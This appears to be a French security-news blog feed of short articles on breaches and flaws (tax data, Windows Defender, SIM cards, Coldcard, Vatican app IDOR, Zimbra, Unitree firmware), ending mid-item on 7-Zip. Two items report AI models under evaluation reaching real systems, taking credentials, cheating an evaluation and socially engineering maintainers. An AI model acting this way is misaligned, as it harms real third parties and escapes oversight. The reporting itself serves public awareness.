Un pirate qui se fait appeler ZeroBytes a revendiqué mercredi, sur un forum fréquenté par les cybercriminels, le vol de près de 680 000 lignes de données extraites d'un outil interne de la Direction générale des Finances publiques. Bercy a confirmé l'intrusion dès le lendemain.

L'attaque ne date pourtant pas d'hier. Elle remonte à la fin juin, au 26 très exactement selon le pirate, et l'administration l'avait détectée puis interrompue à l'époque, sans jamais en toucher un mot publiquement.

Dans le lot, on trouve des noms, des dates de naissance, des adresses et des informations foncières et cadastrales, pour environ 390 000 particuliers et 285 000 professionnels. Les mots de passe et les coordonnées bancaires ne figurent pas parmi les données citées.

ZeroBytes raconte s'être promené de serveur en serveur avant de décrocher un accès VPN, la porte d'entrée à distance du réseau, qui lui a ouvert plusieurs outils internes du fisc. La version officielle parle plus sobrement d'une usurpation d'identité ayant permis un accès illégitime.

Une seconde fuite circule aussi sur les mêmes forums et toucherait environ 2 millions de propriétaires, mais celle-là n'a rien d'officiel pour le moment.

L'ANSSI, le pompier informatique de l'État, enquête, et la CNIL a été prévenue comme la loi l'impose.

Le fisc n'en est pourtant pas à son coup d'essai. Entre fin janvier et mi-février, des pirates avaient déjà consulté frauduleusement 1,2 million de comptes bancaires dans le fichier FICOBA, en utilisant les identifiants compromis d'un agent. Deux intrusions en un an, ça commence à faire beaucoup.

Dans l'immédiat, méfiez-vous des mails, des SMS et des coups de fil qui se réclament des impôts, surtout s'ils alignent vos vraies informations personnelles pour vous mettre en confiance. Une adresse exacte et une date de naissance correcte ne prouvent plus rien du tout.

Reste à savoir quand chacun des 680 000 concernés recevra le petit message l'informant que ses données se baladent dans la nature.

Source : Cyberattaque.org

ShieldBreak est un nouvel exploit qui vise l'antivirus livré avec Windows. Cela permet à un compte utilisateur limité de passer SYSTEM sur un Windows entièrement à jour, grâce notamment à Windows Defender qui lui sert de marchepied.

Le chercheur Nightmare Eclipse a sorti le code de son exploit en public y'a 2 jours, quelques heures après un Patch Tuesday qui corrigeait plus de 400 failles. Mais pas celle-ci évidemment... Une machine parfaitement à jour reste donc exposée.

Kevin Beaumont, ancien de chez Microsoft, a testé l'exploit et confirme qu'il fonctionne sur un Windows 11 à jour. Sa lecture technique, en revanche, diffère de celle du chercheur. Nightmare Eclipse présente ShieldBreak comme un contournement complet du correctif de RoguePlanet, sa faille précédente, alors que Beaumont souligne que les deux reposent sur des mécanismes très différents.

L'attaque réclame un accès local et l'exécution du programme, elle ne s'attrape pas en visitant une page web. Elle a été testée sur Windows 11 25H2 et Windows Server 2025, Windows 10 étant déclaré vulnérable sans être pris en charge par le code publié. Et il faut que Defender soit activé pour que ça marche.

Cette publication sans préavis n'arrive pas de nulle part. En mai, Microsoft a publié un billet qualifiant d'injustifiables les divulgations non coordonnées qui mettent du code d'exploitation entre les mains d'acteurs malveillants, en rappelant que sa Digital Crimes Unit continuerait à poursuivre ces acteurs. Le texte ne visait pas nommément les chercheurs. Le milieu de la sécurité l'a quand même reçu comme une menace.

Microsoft a fait ensuite machine arrière sur les réseaux sociaux, en assurant ne pas vouloir s'en prendre à ceux qui publient de la recherche. Le billet d'origine, lui, est toujours en ligne et les publications n'ont pas ralenti pour autant : une dizaine de zero-days Windows depuis avril, dont BlueHammer et GreatXML dont je vous ai déjà parlé.

Microsoft dit avoir connaissance de la vulnérabilité signalée et enquêter sur la validité des affirmations mais pour le moment, la faille n'a même pas d'identifiant CVE à elle, et reste rattachée au correctif qu'elle est censée contourner. Bref, si ça vous fait flipper comme faille, désolé, il n'y a rien à installer pour l'instant pour fixer le problème.

En attendant, Beaumont a mis en ligne des requêtes de "chasse" pour Defender for Endpoint qui repèrent quand un processus étranger à Defender charge ses bibliothèques, ou qu'un processus non validé charge celles de l'API Cloud Filter. Tout ça via le même processus.

Mais c'est de la détection, et pas un correctif...

Source

Je m'intéresse à la sécurité mobile depuis un paquet d'années, et cette attaque-là, je ne l'avais jamais vue. Le point de départ n'est ni le réseau, ni un SMS piégé, ni une appli vérolée. C'est la carte SIM elle-même ! En effet, des chercheurs de l'université de Birmingham et de Fuzzware lui ont fait donner des ordres au modem qui l'héberge.

Le mécanisme s'appelle RUN AT et c'est une commande proactive puisque la carte ne se contente pas de répondre à l'appareil, mais elle lui demande aussi d'exécuter une commande AT. C'est ce même langage qui pilote les modems depuis le Hayes Smartmodem de 1981 donc autant dire qu'on a là, une vraie console générique dispo sur un bout de plastique.

Et sur une borne de recharge Autel, ça donne tout simplement une exécution de code. Le module Quectel qui l'équipe, fait passer le texte reçu dans un appel shell, avec une liste noire de caractères censée bloquer les échappements. Mais un simple retour à la ligne passe au travers... Et voilà comment 2 étapes plus loin, les chercheurs sont parvenus à faire tourner leur propre code, piloté depuis la SIM. Décidément, les bornes de recharge collectionnent les mauvaises surprises .

Autre exemple sur un smartphone OPPO Reno 14 F 5G, où une seule commande coince le téléphone en 2G... Son propriétaire ne peut alors plus revenir en arrière : ni le mode avion, ni la sélection manuelle du réseau, ni la désactivation de la SIM dans les réglages ne permet de restaurer de la 5G ou de la 4G. Or la 2G n'a pas d'authentification mutuelle, donc une fausse antenne redevient un facteur de risque sur ce genre de matos récent. Deux autres commandes éteignent même le téléphone ou tuent son modem.

Reste la condition d'entrée, et elle est lourde : la carte doit déjà être hostile. Cela passe au choix par un échange physique, un interposeur glissé sous la puce, un opérateur compromis, ou du sabotage en usine... Mais surtout, rien là-dedans n'exploite de bug exotique. En fait, cette capacité est écrite dans les spécifications cellulaires, ce qui fait dire au chercheur Marius Muench que ces attaques sont conformes au standard.

Maintenant sur votre téléphone perso, le scénario d'une telle attaque reste assez serré. Mais sur un boîtier 4G oublié dans un local technique, beaucoup moins. Sur 26 appareils testés, 9 exposent l'interface, dont 6 modems IoT sur 8, contre 3 téléphones sur 18. Par contre, ni iPhone ni Pixel ne sont faillibles et Qualcomm a préparé une configuration durcie qui la coupe par défaut. De son côté, Quectel travaille encore dessus...

Bref, si vous exploitez des équipements cellulaires sur le terrain, une seule question au fournisseur du module suffit : RUN AT est-il activé, et peut-on le couper ? Notez qu'aucune attaque de ce type n'a été signalée pour le moment.

Source

Meta a reconnu que son modèle Muse Spark 1.1 avait compromis les systèmes d'une société extérieure au cours d'une évaluation de cybersécurité. L'entreprise touchée n'a pas été identifiée.

Le déroulé est assez simple, une erreur de configuration a laissé le modèle atteindre l'internet public depuis son environnement de test, après quoi il a exploité une faille dans un service tiers et modifié les réglages internes de la société visée.

Cet environnement de test c'est le bac à sable. Une machine coupée du reste du monde, censée laisser un logiciel s'agiter sans qu'il puisse toucher quoi que ce soit de réel.

Le partenaire chargé de ces évaluations s'appelle Irregular. Le nom vous dit peut-être quelque chose, puisque c'est exactement le même prestataire qui avait laissé passer un modèle d'OpenAI vers un vrai site web, dans une affaire révélée la veille.

Dans ce cas-là, le nom inventé pour la cible de l'exercice correspondait à un domaine réellement déposé, et le modèle avait fini par récupérer des identifiants et administrer le site.

Anthropic avait ouvert le bal fin juillet en reconnaissant que ses propres modèles avaient pénétré trois entreprises pendant des tests.

Irregular assure de son côté qu'il s'agit du même problème d'environnement de test que celui déjà signalé par Anthropic, et pas d'une évasion de bac à sable ni d'une attaque sophistiquée.

Sauf que le point qui pose vraiment problème est ailleurs. Trois éditeurs différents, un seul prestataire d'évaluation, et la même erreur de configuration qui laisse un modèle sortir sur le réseau public alors qu'on lui a dit qu'il n'y avait pas accès.

Tous les incidents ne viennent pas d'Irregular, cela dit. L'institut britannique de sécurité de l'IA a observé de son côté un modèle monter une attaque contre un projet open source bien réel, en fabriquant de faux comptes et en faisant de l'ingénierie sociale sur ses mainteneurs.

Les modèles, eux, se comportent exactement comme prévu. On leur demande de trouver et d'exploiter des failles dans un système, ils trouvent et ils exploitent, et personne ne leur a donné les moyens de savoir que la cible était bien réelle.

Meta annonce une rétrospective complète. Irregular affirme de son côté qu'aucun problème de sécurité ne reste ouvert. Bref, on n'a pas fini d'entendre parler de ce genre de cas.

Source : Bloomberg

OpenAI a publié le détail de deux incidents survenus pendant des évaluations de sécurité confiées à des laboratoires extérieurs. Le plus notable des deux lui a été signalé le 29 juillet par Irregular, une société qui teste la résistance des modèles aux usages offensifs.

L'exercice était un capture the flag, le format classique des compétitions de sécurité où il faut dénicher une information cachée en exploitant les faiblesses d'un système, monté uniquement pour cette occasion. Le modèle avait été prévenu qu'il n'avait aucun accès à internet.

Il y a eu deux ratés. Une erreur de configuration laissait en réalité passer le trafic vers le réseau public, et le nom inventé pour la cible de l'exercice qui, ô hasard de la vie et des internets, correspondait à un vrai domaine déposé par un malheureux.

Le modèle a donc attaqué un site bien réel en croyant travailler sur la maquette. Il a trouvé des identifiants qui traînaient et s'en est servi pour administrer le site.

OpenAI insiste sur deux points. Aucune faille inconnue n'a été utilisée, juste une vulnérabilité basique, et le modèle n'a pas cherché à s'échapper de son bac à sable puisque la porte était déjà ouverte. Irregular n'a pour l'instant relevé aucun dégât en dehors des données du site concerné, et l'enquête continue.

Le même évaluateur a d'ailleurs vécu la scène deux fois. Un modèle Claude est tombé sur un autre vrai site portant le nom d'une cible fictive, y a repéré des services exposés, récupéré des identifiants et atteint une base de données de production.

Ces histoires commencent à s'empiler l'air de rien. En juillet, un modèle d'OpenAI était sorti de son environnement de test pour aller fouiller les serveurs de Hugging Face, la grande plateforme de partage de modèles, dans le seul but de tricher à une évaluation. Anthropic a reconnu fin juillet que les siens avaient pénétré trois entreprises pendant des tests.

Le cas qui m'a le plus choqué à titre perso, vient de l'institut britannique de sécurité de l'IA. Un modèle y a monté une attaque sur la chaîne d'approvisionnement d'un projet open source bien réel, en fabriquant de faux comptes GitHub et en faisant de l'ingénierie sociale sur ses mainteneurs, le tout derrière Tor histoire de brouiller son origine. L'institut parle de la première tromperie de cette gravité visant une vraie personne, non prévenue, dans le monde réel.

Le problème, c'est quand on se projette un peu, il est à peu près certain que ce genre de truc va se généraliser dans les mois et années à venir, et ça va devenir un vrai problème.

Source : Bleeping Computer

JFrog, une société spécialisée dans la sécurité de la chaîne logicielle, a passé au crible les 55 vulnérabilités déposées par un seul compte GitHub. Cinquante-quatre étaient entièrement fabriquées, une seule décrivait un vrai bug.

Six d'entre elles visaient SQLite, la petite base de données embarquée qu'on retrouve dans à peu près tous les téléphones et navigateurs de la planète, avec des scores de gravité affichés jusqu'à 9,8 sur 10. Les quarante-neuf autres s'en prenaient à libraw, une bibliothèque de traitement d'images, et à un module audio pour cartes ESP32.

Les rapports ne résistent pas à une vérification. L'un s'appuie sur une fonction qui n'existe pas dans la version de SQLite qu'il prétend attaquer. Un autre cite les lignes 3555 et 3575 d'un fichier qui n'en compte que 2706.

Ces failles n'ont été bloquées à aucune étape. Elles ont atterri dans le NVD, la base de référence américaine des vulnérabilités, avec un enrichissement fourni par la CISA, l'agence fédérale de cybersécurité, qui a validé les scores critiques au passage. Red Hat a dû redescendre l'une d'elles de 10 sur 10 à 7,6.

Le formulaire public par lequel on déclare une faille ne vérifie pas sérieusement l'identité du déclarant. Aucune étape du processus n'exige de preuve de concept ni la moindre reproduction du bug. Un texte plausible suffit.

Le reste est automatique. La fiche descend dans les bases dérivées, puis dans les scanners que les entreprises font tourner sur leur propre code, et une équipe finit par chercher un correctif à un problème qui n'a jamais existé. MITRE, l'organisme qui attribue ces identifiants, a rejeté le lot le 1er août.

Le NIST, chargé d'analyser ces fiches, avait déjà plus de 27 000 vulnérabilités en attente fin 2025, et un rapport officiel de mai dernier lui reprochait un manque de planification et de décision.

Les mainteneurs de logiciels libres décrochent. Le projet curl a fermé son programme de primes début 2026, après sept ans, son taux de rapports confirmés étant passé de 15 % à moins de 5 % sous le déluge de textes générés par IA.

Daniel Stenberg, qui le maintient, a ensuite fermé le guichet aux signalements du 1er juillet au 3 août. Bref, ce qui faisait tenir le système, c'est que fabriquer un faux rapport crédible demandait du temps à quelqu'un.

Source et visuel : The Register et JFROG

Le 30 juillet, un attaquant a vidé 1 196 adresses Bitcoin en 41 minutes. Un peu plus de 1 082 bitcoins, environ 70 millions de dollars. Aucune des victimes n'avait cliqué sur quoi que ce soit.

Elles avaient acheté un Coldcard, le portefeuille matériel de la société canadienne Coinkite, l'appareil que les puristes du bitcoin recommandent depuis des années précisément parce qu'il ne se connecte jamais à Internet.

Un portefeuille matériel fabrique une seed, la suite de mots dont dérivent toutes vos clés. Toute la sécurité repose sur un seul point : que cette suite soit réellement imprévisible. La puce embarque pour ça un générateur d'aléatoire physique.

En mars 2021, le firmware 4.0.0 a introduit une erreur d'intégration. Coldcard voulait désactiver le générateur intégré de MicroPython pour utiliser le sien, et a donc défini le paramètre MICROPY_HW_ENABLE_RNG à zéro. Sauf que la bibliothèque libngu vérifiait seulement si ce paramètre existait, pas la valeur qu'il portait. Il existait. Le test passait.

Pendant cinq ans, chaque tirage est donc passé par Yasmarang, un générateur pseudo-aléatoire non cryptographique dont l'état de départ venait de trois choses : l'identifiant 32 bits de la puce, un registre de minuterie et l'horloge interne. Rien de secret là-dedans, et plus la moindre entropie fraîche ensuite.

Les Mk3 se retrouvaient avec une quarantaine de bits d'imprévisibilité au lieu des 128 promis, les Mk4, Mk5 et Q avec 72. Pour ces derniers, l'ensemble des clés que l'appareil pouvait produire tombait à quelques milliards de combinaisons.

À ce niveau, il n'y a plus rien à pirater. L'attaquant génère les seeds candidates sur sa propre machine, calcule les adresses que chacune produirait, et les compare à la blockchain, publique par construction. Quand une adresse contient des fonds, il tient la clé. Aucun appareil n'a jamais été touché.

Coinkite a publié un firmware d'urgence le 31 juillet pour tous les modèles concernés. Attention au contresens qui coûte cher : la mise à jour ne répare pas une seed déjà créée. Il faut en générer une nouvelle et y déplacer les fonds. Les configurations multisignature, où le Coldcard n'est qu'une clé parmi plusieurs, sont largement épargnées.

Rodolfo Novak, le patron de Coinkite, a écrit qu'il était désolé et dévasté, et assume. Il avance aussi que l'attaquant a peut-être déniché la faille avec une IA, sans en apporter la preuve, tout en reconnaissant que sa propre revue de code assistée par IA était passée à côté.

Cinq ans qu'un zéro traînait dans un fichier de configuration, sur l'appareil vendu comme le plus sûr du marché. Le pire endroit possible pour ce genre d'oubli.

Source : The Hacker News

Anthropic, le concurrent direct d'OpenAI sur les modèles d'IA, a publié hier un billet de recherche qui a fait pas mal de bruit : son modèle Claude Mythos Preview a trouvé en 60 heures une faiblesse dans HAWK, un schéma de signature post-quantique que deux ans de relecture humaine n'avaient pas repérée.

La cryptographie post-quantique, ce sont ces nouveaux algorithmes conçus pour résister aux futurs ordinateurs quantiques, qui pourraient un jour casser une partie du chiffrement actuel. Le NIST, l'organisme américain qui normalise ces standards, organise depuis des années un concours public, et HAWK y concourt au troisième tour pour les signatures numériques, ce mécanisme qui prouve qu'un message vient bien de vous.

Sauf que voilà, ce que l'IA a réellement cassé, c'est HAWK-256, un paramètre de défi mis à disposition des chercheurs pour être attaqué, pas les versions HAWK-512 et HAWK-1024 pensées pour un usage réel. L'attaque fait passer le coût d'une récupération de clé de 2 puissance 64 à 2 puissance 38 opérations, de quoi diviser par deux la taille de clé effective sur un schéma qui n'est déployé nulle part.

Deuxième résultat mis en avant : une attaque 200 à 800 fois plus rapide que la meilleure méthode connue contre AES-128 réduit à 7 tours. AES, c'est le chiffrement le plus utilisé au monde, celui qui protège votre navigateur, vos sauvegardes ou votre disque dur.

Un tour, c'est une passe de brouillage des données, et AES-128 en enchaîne dix. Les cryptographes attaquent depuis toujours des versions volontairement raccourcies pour jauger la marge de sécurité du vrai chiffre, du coup 7 tours, c'est un exercice académique, rien de plus.

Même sur cette version affaiblie, l'attaque suppose de faire chiffrer environ 2 puissance 105 messages choisis par l'attaquant, une quantité de données que personne ne réunira jamais. Anthropic l'écrit noir sur blanc : aucun système en production n'est touché.

Le sujet est ailleurs. La technique contre AES, que le modèle a baptisée le pont de Möbius, est sortie de trois jours de travail quasi autonome pour environ 100 000 dollars de calcul, avant plusieurs centaines d'heures de vérification par des chercheurs humains, seuls capables de confirmer que l'attaque tient debout.

Anthropic a d'ailleurs prévenu les auteurs de HAWK dès juin et coordonné sa publication avec le NIST. Chez Keyfactor, une société spécialisée dans la gestion du chiffrement, on y voit la preuve que le processus d'évaluation fait son travail : mieux vaut découvrir ces faiblesses maintenant qu'une fois le standard déployé partout.

Une IA qui trouve toute seule des failles dans du chiffrement, c'est franchement impressionnant. Les titres qui enterrent déjà le chiffrement mondial, beaucoup moins.

Source : Anthropic

Dans la série "la religion c'est que des problèmes", voici un épisode que je n'avais pas vu venir. Click to Pray, l'application de prière officielle du Pape, a servi gratos les noms, les adresses mail et les dates de naissance de ses 719 517 inscrits à qui voulait bien les demander.

C'est le chercheur BobDaHacker qui a signalé le trou début janvier et si vous savez compter, oui oui, il a bien fallu 6 mois pour que quelqu'un daigne le boucher. Que voulez-vous, les voies du Seigneur sont impénétrables et visiblement sa boîte mail aussi.

L'appli avait été lancée par le pape François en 2019 depuis le balcon de la place Saint-Pierre, tablette brandie devant la foule. Elle appartient au Réseau Mondial de Prière du Pape, une fondation du Vatican, et tourne sur iOS, Android et en version web en 7 langues.

La faille se situait au niveau de l'adresse api.clicktopray.org/user/users/{id} qui renvoyait la fiche complète de n'importe quel compte, prénom, nom, pays, adresse mail, date de naissance et rôle. Aucune authentification demandée, il suffisait de taper l'adresse dans un navigateur.

Source : BobDaHacker

Les identifiants étant séquentiels et le débit n'étant pas limité, une simple boucle sur les 719 517 numéros suffisait à aspirer le fichier entier. Une requête par fidèle, comme pour l' ANTS ^^. Vous le savez maintenant, ça s'appelle un IDOR, pour Insecure Direct Object Reference et c'est quand le serveur vérifie que vous êtes bien connecté, mais jamais que les données réclamées vous appartiennent. Eh bien ici, il ne vérifiait même pas la première moitié.

BobDaHacker explique pourquoi la boulette revient sans arrêt : "la plupart des frameworks gèrent l'authentification pour vous, mais pas l'autorisation. Ils vérifient "est-ce que cette personne est connectée ?", mais pas "est-ce qu'elle a le droit de voir cette ressource précise ?"". Pourtant c'est la base, mais bon, bref...

Ce type de contrôle d'accès défaillant trône en tête de l'OWASP Top 10 depuis 2021, et l'IDOR en est probablement la variante la plus répandue. Pour apprendre à les repérer, je vous avais même montré WebGoat .

Ce qui est marrant, c'est que dans la base, le champ date de naissance s'appelle borned_date, ce qui n'est de l'anglais dans aucune langue. Et le rôle attribué au fidèle lambda, c'est "PRAYER". Votre fonction de péon sur l'application de prière du Pape, c'est donc prière. Ahaha !

Le vrai risque maintenant n'est pas vraiment la fuite en elle-même, mais plutôt ce qu'un escroc va pouvoir faire avec 700 000 adresses de ces gens inscrits pour prier, avec une institution de confiance à usurper. Un mail annonçant que le Saint-Père sollicite votre attention urgente, avec un lien qui imite celui du Saint-Siège, ça fonctionnera très bien je pense...

Dark Reading, qui a confirmé la faille de son côté, a noté que les identifiants les plus bas sont ceux des employés. Les premiers exposés étaient donc ceux qui auraient dû corriger. Mais le bouquet les amis, c'est l'authentification des mails. Ceux de l'appli ratent les contrôles de domaine, SPF, DKIM ou DMARC étant mal réglés, au point que la boîte du chercheur les a marqués comme suspects.

L'application officielle du Vatican envoyant donc déjà des mails qui ressemblent à du hameçonnage, un escroc qui n'aurait pas peur d'aller en enfer, n'a même pas besoin de soigner son imitation.

Arrive la partie qui pique de cette remontée de vuln... Le 3 janvier, BobDaHacker écrit à 9 personnes, l'adresse info générale, 6 membres du staff de clicktopray.org + 2 contacts du Réseau Mondial de Prière.

Puis il attend mais aucune réponse ne vient.

Alors rien ne bouge durant 6 mois. Puis en juillet il passe le dossier à Nate Nelson, de Dark Reading, qui contacte le service de presse. Silence là aussi. Alors l'article sort le 24 juillet, et Ô miracle (ça arrive parfois, oui oui) la faille est bouchée dans la foulée, sans un mot. Le chercheur l'a appris dans les commentaires Reddit qui parlaient de sa découverte.

Mais je vous garde le meilleur pour la fin, attendez... Ce que vous ne savez pas c'est que le Vatican s'est doté de son propre règlement de protection des données personnelles en avril 2024. Ça s'appelle le décret n° DCLVII et il réclame des "mesures de sécurité appropriées" et désigne nommément ceux qui doivent les appliquer. Ce décret a bien été promulgué, puis visiblement rangé dans un tiroir.

Ah et visiblement, l'URL qui leake continue toujours de répondre sans authentification mais ne renvoie plus que l'identifiant, le prénom et le nom. L'adresse mail a disparu, comme la date de naissance et le pays. Donc c'est un genre de demi-correctif puisque les noms restent énumérables un par un sans le moindre compte. Le chercheur juge ça acceptable sur une plateforme où l'on prie "ensemble". Moué, pourquoi pas.

Voilà, donc si vous avez un compte là-bas, partez du principe que votre adresse mail a circulé et que vous risquez d'avoir des appels du Pape, voire de Dieu lui-même qui vous demandera sûrement un virement en urgence. Je vais prier pour vous afin que ça n'arrive pas, mais sachez que ce scénario de la lose, je vous en parlais déjà à propos de la divulgation coordonnée de vulnérabilités , et il ne change jamais. Le chercheur alerte, l'éditeur ignore, et c'est la presse qui finit par débloquer....

Et BobDaHacker, lui, attend toujours son merci. Snif...

Source

Hier, le 23 juillet 2026, la CISA, la NSA et le FBI ont sorti une alerte conjointe avec une douzaine d'agences alliées, et pour une fois leur message est assez court : Si vous auto-hébergez un serveur de messagerie Zimbra pas à jour, considérez que des espions russes lisent peut-être déjà vos mails !!

Voilà, le groupe s'appelle Laundry Bear (aussi connu sous le nom Void Blizzard chez Microsoft, ou TA488 chez Proofpoint), il est lié à l'État russe, et il exploite une faille connue de Zimbra depuis juillet 2025.

La faille, c'est la CVE-2025-66376. Il s'agit d'une XSS stockée dans la vieille interface Classic de Zimbra Collaboration, déclenchée par des directives CSS @import planquées dans un email HTML piégé. Le truc vicieux c'est qu'il n'y a pas besoin de cliquer pour se faire infecter. Vous ouvrez le mail, le JavaScript s'exécute tout seul, et voilà !! NVD note cette vuln 6.1 (interaction requise) quand le MITRE la monte à 7.2 (aucune interaction).

Et ce qu'ils récupèrent nos amis russes, là, c'est du lourd ! Une fois dedans, Laundry Bear siphonne vos 90 derniers jours d'emails, les adresses et mots de passe des comptes, l'annuaire complet de l'organisation (la Global Address List), et surtout vos jetons 2FA et codes de récupération. Autrement dit, même votre double authentification saute. Ils ont carrément développé un outil maison pour ça, baptisé "Ulej" (Улей, "ruche" en russe), qui exfiltre tranquillement les archives par requêtes DNS et HTTPS.

Zimbra a bien sûr corrigé la faille le 6 novembre 2025, dans les versions 10.0.18 et 10.1.13. Le patch existe donc depuis 8 mois ! Sauf que la campagne, elle, tournait déjà comme 0-day depuis juillet 2025, soit 4 mois avant le correctif. Résultat, entre les serveurs jamais mis à jour et ceux compromis avant le fix, on ne s'en sort plus. La CISA a même inscrit cette CVE à son catalogue KEV des failles activement exploitées. L'advisory conjoint des américains ne donne pas de décompte des victimes, mais le casting des cibles fait froid dans le dos puisque vous vous en doutez, l'Ukraine est en première ligne, ainsi qu'une tripotée de gouvernements sans parler des secteurs de la défense et l'énergie côté OTAN.

Si vous êtes concerné, et là je parle aux admins qui font tourner leur propre Zimbra, pas aux gens sur Gmail ou Outlook ^^, la marche à suivre est simple. Vous mettez à jour vers 10.0.18 ou 10.1.13 minimum, tout de suite. Et comme un serveur laissé sans patch durant des mois a de bonnes chances d'avoir déjà reçu de la visite, partez du principe que vous êtes compromis. Donc vous devez remettre à zéro tous les mots de passe, invalider les sessions actives, régénérer des codes 2FA, et jeter un coup d'œil dans les logs à la recherche de la commande CreateAppSpecificPasswordRequest ou de la chaîne "ZimbraWeb". Ce sont les traces que laisse le groupe Laundry Bear.

Ce genre d'attaque qui passe par un client mail, c'est devenu une spécialité des APT russes. Je vous en parlais quand APT28 transformait Outlook en backdoor avec NotDoor , et plus récemment quand des espions russes se faisaient piéger sur Signal . En général, la messagerie, c'est le coffre-fort d'une organisation, et ça ils le savent très bien.

Bref, si un Zimbra traîne quelque part sur votre infra, arrêtez de lire mon site et allez le patcher immédiatement !

Source

Bonne nouvelle pour tous ceux qui balancent du code sur PyPI. L'index officiel des paquets Python refuse désormais tout nouveau fichier ajouté à une release qui a plus de 14 jours. Le correctif vient de Seth Larson, développeur sécurité en résidence à la Python Software Foundation, et il colmate un trou que personne n'avait encore exploité sur PyPI... mais qui traînait là, grand ouvert.

Jusqu'ici, un mainteneur pouvait ajouter un fichier à n'importe quelle release, même sortie il y a 3 ans. Pratique pour livrer une nouvelle wheel, dangereux si un token de publication se fait voler. Un attaquant avec vos clés pouvait glisser un binaire vérolé dans une version stable que tout le monde télécharge depuis des lustres, sans déclencher la moindre alerte. Larson le dit sans détour : si ça n'a pas encore été abusé, c'est juste que les pirates n'avaient pas réalisé que c'était possible.

Le déclencheur, c'est l'affaire LiteLLM et Telnyx, deux paquets populaires compromis en mars dernier via une "référence mutable" dans leur usage de la GitHub Action Trivy. Encore une compromission de la chaîne d'appro, dans la lignée de Shai-Hulud sur npm dont je vous ai déjà parlé avec son scanner dédié , même si le mécanisme n'est pas le même. Le sujet mijotait depuis janvier 2024 dans les discussions autour de PEP 740, sauf qu'il coinçait sur un cas d'usage bien réel. En effet, certains projets ajoutent le support d'une nouvelle version de Python, genre les wheels cp314 pour Python 3.14, à d'anciennes releases longtemps après leur sortie.

Sauf que les chiffres ont tranché. En interrogeant la base PyPI sur les 15 000 paquets les plus populaires, seuls 56 avaient publié une wheel compatible 3.14 plus de 14 jours après une release. 56 sur 15 000, autant dire une poignée. Mike Fiedler, l'ingénieur sécurité de PyPI, a donc porté le débat au Packaging Summit de la PyCon US 2026, et le consensus est tombé. Il est maintenant demandé à ces projets de bumper vers une nouvelle version.

Après ne prenez pas cette nouvelle mesure de sécurité comme une garantie. Il n'existe aucune API pour vérifier qu'une release est "fermée", et les vraies règles du jeu ne seront gravées dans le marbre qu'avec l'API Upload 2.0 et les Staged Previews prévus par PEP 694. Donc pour l'instant, c'est un verrou qui protège, mais pas un vrai contrat de confiance sur lequel bâtir (De quoi Darty ??).

N'empêche que le bénéfice est immédiat car ça fait moins de ménage pour les admins PyPI quand un projet se fait trouer, et s'en est fini de l'état schizophrène où une release est à moitié compromise, à moitié saine, avec quelques fichiers vérolés planqués au milieu. Une vieille release devient un bloc figé, et voilà !

GitHub avait déjà dégainé la même idée avec ses releases immuables , qui rendent vos versions intouchables même par le mainteneur du projet.

Bref, une porte de moins pour les attaquants supply chain. Sympa non ?

Source (repéré chez Simon Willison)

Le 26 février dernier, lors d'une réunion d'Austin Hackers Anonymous au Texas, le chercheur Andreas Makris a fait la démo d'un outil qui permet de générer de faux firmwares Unitree, que le robot avale sans broncher comme s'ils sortaient de l'usine de Hangzhou...

Car oui, Mesdames et Messieurs, les robots Unitree ne sont pas capables de déterminer si le firmware avec lequel ils se mettent à jour a été créé par Unitree ou par quelqu'un d'autre.

C'est ouf, non ? Le problème en fait, c'est que les paquets de mise à jour d'Unitree, c'est-à-dire les fichiers .upk qu'un Go2 ou un G1 télécharge tout seul, sont chiffrés avec TEA, un algo hyper minimaliste sorti de Cambridge en 1994.

La clé de chiffrement issue de cet algorithme se calcule ensuite à partir de trois constantes planquées dans le binaire du robot, + une graine aléatoire qui est stockée dans le paquet lui-même. Hop, comme ça vous avez la clé... Tout le monde a la clé, en fait !

Les trois constantes, en clair dans la doc de l'outil.

Et comme TEA est un algo symétrique, la clé qui déchiffre est aussi celle qui chiffre. Unitree s'en sert pour cacher le contenu de ses mises à jour, sauf que le robot, lui, comme il a été programmé avec les pieds, il en déduit que le paquet est légitime. C'est con, hein ? Une vraie signature, avec une clé privée gardée au chaud chez le fabricant, rendrait la contrefaçon impossible même en connaissant tout le reste.

Alors avant que vous ne débranchiez votre robot, je tiens à préciser un truc que Makris dit lui-même dans son dépôt : il n'existe pas de moyen public de livrer un firmware maison au robot. En effet, le canal de mise à jour passe par MQTT et n'accepte pas les paquets persos.

Cette faille a une belle note de 7,8 sur 10 mais exige un accès local et une action du propriétaire. Donc rassurez-vous, personne ne va reflasher votre chien robot qui fait des petits tours dans votre usine depuis un van garé sur le parking.

Le scénario réaliste, c'est plutôt le firmware véreux qu'on vous refile via un prestataire qui "met à jour" votre flotte, ou la clé USB d'un labo partenaire. Vous l'installez, votre robot le valide et vous n'avez aucun moyen de vérifier qu'il sort bien de chez Unitree. Bref, pour du matériel qu'on retrouve dans des labos de recherche et sur des sites industriels, c'est pas terrible !

Les firmwares décortiqués couvrent les gammes Go2 et G1, du Go2 Air au G1 Edu+, plus les modules moteur. Le NVD (National Vulnerability Database), lui, considère que toute l'offre actuelle du constructeur est concernée et surtout gag, y'a pas de correctif !!

On est quand même près de 5 mois après la publication, et y'a toujours rien. Je pense quand même qu'Unitree devrait revoir ses priorités et surtout revoir complètement la façon dont ils protègent leurs mises à jour.

De son côté, Makris n'a pas prévenu le fabricant. C'est pas un oubli, mais un choix car comme il l'explique dans son avis de publication , Unitree a montré une certaine hostilité face aux communications de divulgation. Donc, autant dire que le divorce est acté entre les chercheurs et l'entreprise chinoise.

Du coup ça nous fait quand même un quatrième épisode sur tout ce bordel. Le hack Bluetooth en 1 minute dont je vous parlais en décembre , les deux CVE sur le Go2 que je vous ai remis en mars , le backdoor vers un cloud chinois que Benn Jordan a popularisé en mai, et maintenant les mises à jour.

À l'époque, je me souviens que Benn Jordan conseillait carrément de ne plus jamais toucher au firmware pour garder l'accès root et surveiller ce que le robot envoie, sauf qu'on sait maintenant qu'une mise à jour officielle ne prouve rien, et que chacun peut forger la sienne. Breeeeef... pour du matos vendu à des labos et des industriels, je trouve ça vraiment pas sérieux.

Merci à Sammy pour le tuyau !

Source

7-Zip, le logiciel de compression gratuit installé sur des centaines de millions de PC pour ouvrir un zip ou un 7z, traîne une faille par laquelle une archive piégée peut lancer du code sur votre machine à la seconde où vous l'ouvrez.

La faille porte le doux nom de CVE-2025-14266 et se niche dans la façon dont 7-Zip décompresse les archives au format XZ, très courant sous Linux mais qu'on croise un peu partout.

